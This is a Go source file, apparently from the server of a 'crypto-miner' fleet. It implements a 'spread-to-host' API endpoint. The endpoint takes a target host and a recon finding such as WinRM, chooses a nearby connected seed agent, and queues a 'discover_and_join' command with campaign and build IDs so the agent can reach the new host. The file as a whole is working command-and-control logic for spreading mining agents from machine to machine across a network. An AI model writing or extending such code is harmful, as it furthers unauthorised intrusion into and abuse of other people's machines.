package api import ( "encoding/json" "fmt" "net/http" "strings" dbpkg "crypto-miner-server/internal/db" "crypto-miner-server/internal/models" "crypto-miner-server/internal/spreadrouter" ) type spreadToHostRequest struct { Host string `json:"host"` Finding string `json:"finding"` BuildID string `json:"build_id"` Campaign string `json:"campaign"` JoinLane string `json:"join_lane"` } // POST /api/v1/fleet/spread-to-host // Body: {"host":"10.1.2.50","finding":"WinRM"} — no agent_id; seeds discover_and_join from best online hop. func (f *FleetHandler) PostSpreadToHost(w http.ResponseWriter, r *http.Request) { var req spreadToHostRequest if err := json.NewDecoder(r.Body).Decode(&req); err != nil { http.Error(w, "invalid JSON", http.StatusBadRequest) return } req.Host = strings.TrimSpace(req.Host) req.Finding = strings.TrimSpace(req.Finding) req.BuildID = strings.TrimSpace(req.BuildID) req.Campaign = strings.TrimSpace(req.Campaign) req.JoinLane = strings.TrimSpace(req.JoinLane) if req.Host == "" { http.Error(w, "host required", http.StatusBadRequest) return } matched, lane, ok := resolveReconFinding(req.Finding, NormalizeServiceDeployAllowlist(nil)) if !ok { http.Error(w, "no deploy lane matched finding", http.StatusBadRequest) return } if req.JoinLane != "" { lane.Lane = normalizeJoinLane(req.JoinLane) } agentID, reachable, found := matchAgentForSpreadFleet(f.ws, f.db, req.Host) if found && reachable { writeJSON(w, map[string]interface{}{ "ok": true, "host": req.Host, "agent_id": agentID, "agent_reachable": true, "join_lane": lane.Lane, "matched_service": matched, "queued": false, "recommended_command": "discover_and_join", "operator_note": "Host already has a connected agent — select it in Crucible and run Probe & Join.", "crucible_link": "/crucible?reconHost=" + urlQueryEscape(req.Host) + "&tab=spread", }) return } seedID, seedName, seedOK := pickSpreadSeedAgent(f.ws, req.Host, lane.Lane) commandArgs := map[string]interface{}{ "target_host": req.Host, "join_lane": lane.Lane, "matched_service": matched, } if req.BuildID != "" { commandArgs["build_id"] = req.BuildID } if req.Campaign != "" { commandArgs["campaign"] = req.Campaign } queued := false var dispatchErr string if seedOK && f.ws != nil { if err := f.ws.SendAgentCommand(seedID, "discover_and_join", commandArgs); err != nil { dispatchErr = err.Error() } else { queued = true } } recommended := fmt.Sprintf( "Crucible → select seed %s → Probe & Join (discover_and_join) targeting %s via %s lane", firstNonEmptySpread(seedName, seedID, "best online agent"), req.Host, lane.Lane, ) _ = (&OathLedgerBridge{DB: f.db, Hub: f.ws}).Record( AuthUsername(r), dbpkg.OathSpreadDiscoveredHost, seedID, "", dbpkg.OathOutcomeSuccess, map[string]string{"host": req.Host, "finding": req.Finding, "join_lane": lane.Lane}, map[string]string{"host": req.Host, "finding": req.Finding}, ) if f.db != nil { if row, err := f.db.MarkSubnetDiscoverySpreadAttempted(req.Host); err == nil && row != nil && f.ws != nil { f.ws.BroadcastSubnetDiscoveryUpdate(*row) } } writeJSON(w, map[string]interface{}{ "ok": true, "host": req.Host, "finding": req.Finding, "join_lane": lane.Lane, "matched_service": matched, "agent_reachable": false, "agent_found": found, "seed_agent_id": seedID, "seed_agent_name": seedName, "queued": queued, "dispatch_error": dispatchErr, "recommended_command": "discover_and_join", "command_args": commandArgs, "operator_note": recommended, "crucible_link": "/crucible?reconHost=" + urlQueryEscape(req.Host) + "&tab=spread", }) } func matchAgentForSpreadFleet(hub *WSHub, database *dbpkg.Database, host string) (agentID string, reachable bool, found bool) { if database == nil { return "", false, false } agents, err := database.ListAgents() if err != nil { return "", false, false } host = strings.TrimSpace(strings.ToLower(host)) var match *models.Agent for _, ag := range agents { if ag == nil { continue } ip := strings.TrimSpace(strings.ToLower(ag.IP)) if ip == host || strings.EqualFold(ag.Name, host) || strings.EqualFold(ag.Hostname, host) { if match == nil || ag.Status == "online" { match = ag } } } if match == nil { return "", false, false } reachable = match.Status == "online" if hub != nil { reachable = hub.isAgentConnected(match.ID) } return match.ID, reachable, true } func pickSpreadSeedAgent(hub *WSHub, targetHost, joinLane string) (agentID, agentName string, ok bool) { if hub == nil { return "", "", false } subnet := spreadrouter.SubnetFromIP(targetHost) if subnet != "" { in := buildSpreadRouterInput(hub, nil, []string{subnet}, joinLane) rt := spreadrouter.Build(in) if rec, found := rt.Recommend(subnet); found && rec.SeedAgentID != "" && hub.isAgentConnected(rec.SeedAgentID) { return rec.SeedAgentID, rec.SeedAgentName, true } } // Fallback: lowest-latency connected agent on same /24. targetSubnet := spreadrouter.NormalizeSubnet(subnet) var bestID, bestName string bestLatency := int(^uint(0) >> 1) hub.mu.RLock() for id, conn := range hub.agents { if conn == nil || hub.db == nil { continue } ag, err := hub.db.GetAgent(id) if err != nil || ag == nil { continue } agSubnet := spreadrouter.SubnetFromIP(ag.IP) if targetSubnet != "" && spreadrouter.NormalizeSubnet(agSubnet) != targetSubnet { continue } lat := 9999 if ag.LatencyMs != nil { lat = *ag.LatencyMs } if lat < bestLatency { bestLatency = lat bestID = id bestName = ag.Name } } hub.mu.RUnlock() if bestID != "" { return bestID, bestName, true } // Last resort: any connected agent. hub.mu.RLock() for id := range hub.agents { if hub.agents[id] != nil { bestID = id if hub.db != nil { if ag, err := hub.db.GetAgent(id); err == nil && ag != nil { bestName = ag.Name } } break } } hub.mu.RUnlock() return bestID, bestName, bestID != "" } func firstNonEmptySpread(parts ...string) string { for _, p := range parts { if strings.TrimSpace(p) != "" { return p } } return "" }